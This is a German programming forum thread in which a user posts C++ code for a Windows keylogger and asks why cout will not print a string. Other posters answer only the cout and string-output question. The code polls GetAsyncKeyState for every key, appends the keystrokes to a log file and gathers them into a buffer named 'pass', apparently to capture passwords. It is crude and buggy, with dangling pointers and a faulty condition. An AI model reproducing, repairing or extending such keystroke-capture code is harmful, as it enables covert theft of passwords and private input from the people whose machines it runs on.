cout will meinen string nicht ausgeben!
-
also, ich hab den code jetzt ein bisschen verändert, funkt jetzt bis auf eine kleinigkeit: cout!!!!!
#include <windows.h> #include <Winuser.h> #include <string> #include <fstream> #include <iostream.h> //Testet ob ein Key abgefragt wurde std::string GetKey(int Key) { std::string KeyString = ""; if (Key == VK_CONTROL) KeyString = "[CTRL]"; else if (Key == VK_MENU) KeyString = "[ALT]"; //Char klein machen else if (Key >=96 && Key <= 105) KeyString = Key-48; else if (Key > 47 && Key < 60) KeyString = Key; if (Key != VK_LBUTTON || Key != VK_RBUTTON) { if (Key > 64 && Key < 91) { if (GetKeyState(VK_CAPITAL)) KeyString = Key; else { Key = Key + 32; KeyString = Key; } } } return KeyString; } int main() { std::string Filename = "test.txt"; std::string TempString = ""; std::fstream FStream; FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); int k = 0; const char* pass[9]; char temp[9]; using std::string; string check; while(true) { //Verhindert CPU Auslastung 5ms sleep Sleep(5); for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { TempString = GetKey (i); FStream.write(TempString.c_str(), TempString.size()); if(k < 9) { pass[k] = TempString.c_str(); } else { int m = 0; for(int n = 0; n < 9; n++) { if(m < 9) { pass[n] = TempString.c_str(); } else { m++; pass[n] = pass[m]; } } } strcpy(temp,pass[k]); check = check + temp; cout << check << k << endl; k++; FStream.close(); FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); } } } return 0; }
-
burns9 schrieb:
also, ich hab den code jetzt ein bisschen verändert, funkt jetzt bis auf eine kleinigkeit: cout!!!!!
Würde mich sehr wundern, wenn dieser Code "funkt". Vermutlich meinst du, dass er sich kompilieren lässt, was aber nicht viel heißt.
Was du wegen cout tun must, habe ich bereits geschrieben.
-
templäd schrieb:
Der compiler hat recht. Die stl definiert keinen operator<< für string.
Dafür aber für const char*.
Also:cout << temp.c_str() << ...
Schonmal
string temp; cout << temp << ....
ausprobiert ?
Gruß,
Simon2.